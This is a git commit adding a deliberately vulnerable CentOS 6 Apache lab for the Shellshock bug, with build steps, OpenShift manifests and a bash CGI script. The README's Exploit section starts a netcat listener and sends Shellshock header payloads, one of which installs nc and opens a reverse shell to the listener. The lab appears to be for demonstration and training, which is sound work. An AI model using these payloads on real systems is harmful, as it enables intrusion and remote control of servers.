commit
0a2893663f
9 changed files with 222 additions and 0 deletions
@ -0,0 +1,5 @@ |
|||||
|
FROM vulnerable-centos:6 |
||||
|
COPY rootfs . |
||||
|
RUN yum install -y httpd |
||||
|
EXPOSE 80 443 |
||||
|
ENTRYPOINT ["/entrypoint.sh"] |
||||
@ -0,0 +1,83 @@ |
|||||
|
# Shellshock vulnerable image |
||||
|
|
||||
|
## Build |
||||
|
|
||||
|
Old CentOS images are here: https://vault.centos.org/ |
||||
|
|
||||
|
Install it in a virtual machine. |
||||
|
|
||||
|
```sh |
||||
|
sudo virt-install --name centos6 --os-variant centos6.5 --memory 2048 --vcpus 2 --disk size=10,alias.name=centos6 --hvm --network network=default --cdrom /var/lib/libvirt/images/CentOS-6.5-x86_64-minimal.iso |
||||
|
``` |
||||
|
|
||||
|
Mount the qcow2 image as explained [here](https://gist.github.com/shamil/62935d9b456a6f9877b5). |
||||
|
|
||||
|
```sh |
||||
|
sudo qemu-nbd --connect=/dev/nbd0 /var/lib/libvirt/images/disk.qcow2 |
||||
|
sudo mount /dev/mapper/VolGroup-lv_root /mnt/ |
||||
|
sudo tar -cvf /tmp/centos6.tar . -C /mnt |
||||
|
sudo umount /mnt |
||||
|
sudo qemu-nbd --disconnect /dev/nbd0 |
||||
|
``` |
||||
|
|
||||
|
Create the container image. |
||||
|
|
||||
|
```sh |
||||
|
sudo podman import /tmp/centos6.tar vulnerable-centos:6 |
||||
|
sudo buildah bud -t vulnerable-httpd:centos-6 . |
||||
|
``` |
||||
|
|
||||
|
Push the image to the registry of your choice. |
||||
|
|
||||
|
```sh |
||||
|
sudo podman tag localhost/vulnerable-httpd:centos-6 registry.itix.xyz/vulnerable/vulnerable-httpd:centos-6 |
||||
|
sudo podman push registry.itix.xyz/vulnerable/vulnerable-httpd:centos-6 |
||||
|
``` |
||||
|
|
||||
|
## Usage |
||||
|
|
||||
|
```sh |
||||
|
sudo podman run -d --rm --name vulnerable-httpd vulnerable-httpd:centos-6 |
||||
|
POD_IP=$(sudo podman inspect --format "{{.NetworkSettings.IPAddress}}" vulnerable-httpd) |
||||
|
``` |
||||
|
|
||||
|
``` |
||||
|
sh-4.1# curl http://$POD_IP/cgi-bin/hello.cgi -H "X-Name: Nicolas" |
||||
|
Hello, Nicolas! |
||||
|
sh-4.1# curl http://$POD_IP/cgi-bin/hello.cgi |
||||
|
Hello, World! |
||||
|
``` |
||||
|
|
||||
|
## Deployment |
||||
|
|
||||
|
```sh |
||||
|
oc apply -f openshift/ |
||||
|
``` |
||||
|
|
||||
|
## Exploit |
||||
|
|
||||
|
Find the URL of the vulnerable CGI-BIN. |
||||
|
|
||||
|
```sh |
||||
|
export TARGET="https://$(oc get route frontend -n vulnerable-httpd -o jsonpath="{.spec.host}")/cgi-bin/hello.cgi" |
||||
|
``` |
||||
|
|
||||
|
Start a C&C server. |
||||
|
|
||||
|
```sh |
||||
|
sudo firewall-cmd --add-port 6666/tcp |
||||
|
nc -l -p 6666 |
||||
|
``` |
||||
|
|
||||
|
Set the IP address of the C&C server. |
||||
|
|
||||
|
```sh |
||||
|
export SERVER_IP=192.168.6.2 |
||||
|
``` |
||||
|
|
||||
|
Exploit the target. |
||||
|
|
||||
|
```sh |
||||
|
curl "$TARGET" -H "X-Name: () { :; }; /usr/bin/yum install -y nc" |
||||
|
curl "$TARGET" -H "X-Name: () { :; }; /bin/bash -i >& /dev/tcp/$SERVER_IP/6666 0>&1" |
||||
|
``` |
||||
@ -0,0 +1,10 @@ |
|||||
|
apiVersion: v1 |
||||
|
kind: Namespace |
||||
|
metadata: |
||||
|
annotations: |
||||
|
openshift.io/description: "" |
||||
|
openshift.io/display-name: "" |
||||
|
name: vulnerable-httpd |
||||
|
spec: |
||||
|
finalizers: |
||||
|
- kubernetes |
||||
@ -0,0 +1,32 @@ |
|||||
|
apiVersion: apps/v1 |
||||
|
kind: Deployment |
||||
|
metadata: |
||||
|
labels: |
||||
|
app: frontend |
||||
|
app.kubernetes.io/component: frontend |
||||
|
app.kubernetes.io/instance: frontend |
||||
|
name: frontend |
||||
|
namespace: vulnerable-httpd |
||||
|
spec: |
||||
|
replicas: 1 |
||||
|
selector: |
||||
|
matchLabels: |
||||
|
deployment: frontend |
||||
|
template: |
||||
|
metadata: |
||||
|
creationTimestamp: null |
||||
|
labels: |
||||
|
deployment: frontend |
||||
|
spec: |
||||
|
containers: |
||||
|
- image: registry.itix.xyz/vulnerable/vulnerable-httpd:centos-6 |
||||
|
imagePullPolicy: IfNotPresent |
||||
|
name: frontend |
||||
|
resources: {} |
||||
|
terminationMessagePath: /dev/termination-log |
||||
|
terminationMessagePolicy: File |
||||
|
dnsPolicy: ClusterFirst |
||||
|
restartPolicy: Always |
||||
|
schedulerName: default-scheduler |
||||
|
securityContext: {} |
||||
|
terminationGracePeriodSeconds: 30 |
||||
@ -0,0 +1,17 @@ |
|||||
|
apiVersion: v1 |
||||
|
kind: Service |
||||
|
metadata: |
||||
|
labels: |
||||
|
app: frontend |
||||
|
name: frontend |
||||
|
namespace: vulnerable-httpd |
||||
|
spec: |
||||
|
ports: |
||||
|
- name: http |
||||
|
port: 80 |
||||
|
protocol: TCP |
||||
|
targetPort: 80 |
||||
|
selector: |
||||
|
deployment: frontend |
||||
|
sessionAffinity: None |
||||
|
type: ClusterIP |
||||
@ -0,0 +1,17 @@ |
|||||
|
apiVersion: route.openshift.io/v1 |
||||
|
kind: Route |
||||
|
metadata: |
||||
|
labels: |
||||
|
app: frontend |
||||
|
name: frontend |
||||
|
namespace: vulnerable-httpd |
||||
|
spec: |
||||
|
port: |
||||
|
targetPort: http |
||||
|
tls: |
||||
|
termination: edge |
||||
|
to: |
||||
|
kind: Service |
||||
|
name: frontend |
||||
|
weight: 100 |
||||
|
wildcardPolicy: None |
||||
@ -0,0 +1,18 @@ |
|||||
|
#!/bin/sh |
||||
|
|
||||
|
# Stop the scrip on any error encountered |
||||
|
set -Eeuo pipefail |
||||
|
|
||||
|
# Start a test instance of apache |
||||
|
/usr/sbin/apachectl -k start |
||||
|
sleep 2 |
||||
|
|
||||
|
# Run a test query |
||||
|
curl -s http://localhost/cgi-bin/hello.cgi -H "X-Name: OpenShift" |
||||
|
|
||||
|
# Stop apache |
||||
|
/usr/sbin/apachectl -k stop |
||||
|
sleep 2 |
||||
|
|
||||
|
# Run the real apache |
||||
|
exec /usr/sbin/httpd -X |
||||
@ -0,0 +1,35 @@ |
|||||
|
[base] |
||||
|
name=CentOS-$releasever - Base |
||||
|
baseurl=https://vault.centos.org/6.5/os/$basearch/ |
||||
|
gpgcheck=1 |
||||
|
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 |
||||
|
|
||||
|
#released updates |
||||
|
[updates] |
||||
|
name=CentOS-$releasever - Updates |
||||
|
baseurl=http://vault.centos.org/6.5/updates/$basearch/ |
||||
|
gpgcheck=1 |
||||
|
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 |
||||
|
|
||||
|
#additional packages that may be useful |
||||
|
[extras] |
||||
|
name=CentOS-$releasever - Extras |
||||
|
baseurl=http://vault.centos.org/6.5/extras/$basearch/ |
||||
|
gpgcheck=1 |
||||
|
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 |
||||
|
|
||||
|
#additional packages that extend functionality of existing packages |
||||
|
[centosplus] |
||||
|
name=CentOS-$releasever - Plus |
||||
|
baseurl=http://vault.centos.org/6.5/centosplus/$basearch/ |
||||
|
gpgcheck=1 |
||||
|
enabled=0 |
||||
|
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 |
||||
|
|
||||
|
#contrib - packages by Centos Users |
||||
|
[contrib] |
||||
|
name=CentOS-$releasever - Contrib |
||||
|
baseurl=http://vault.centos.org/6.5/contrib/$basearch/ |
||||
|
gpgcheck=1 |
||||
|
enabled=0 |
||||
|
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 |
||||
@ -0,0 +1,5 @@ |
|||||
|
#!/bin/sh |
||||
|
|
||||
|
echo "Content-Type: text/plain" |
||||
|
echo |
||||
|
echo "Hello, ${HTTP_X_NAME:-World}!" |
||||
Loading…
Reference in new issue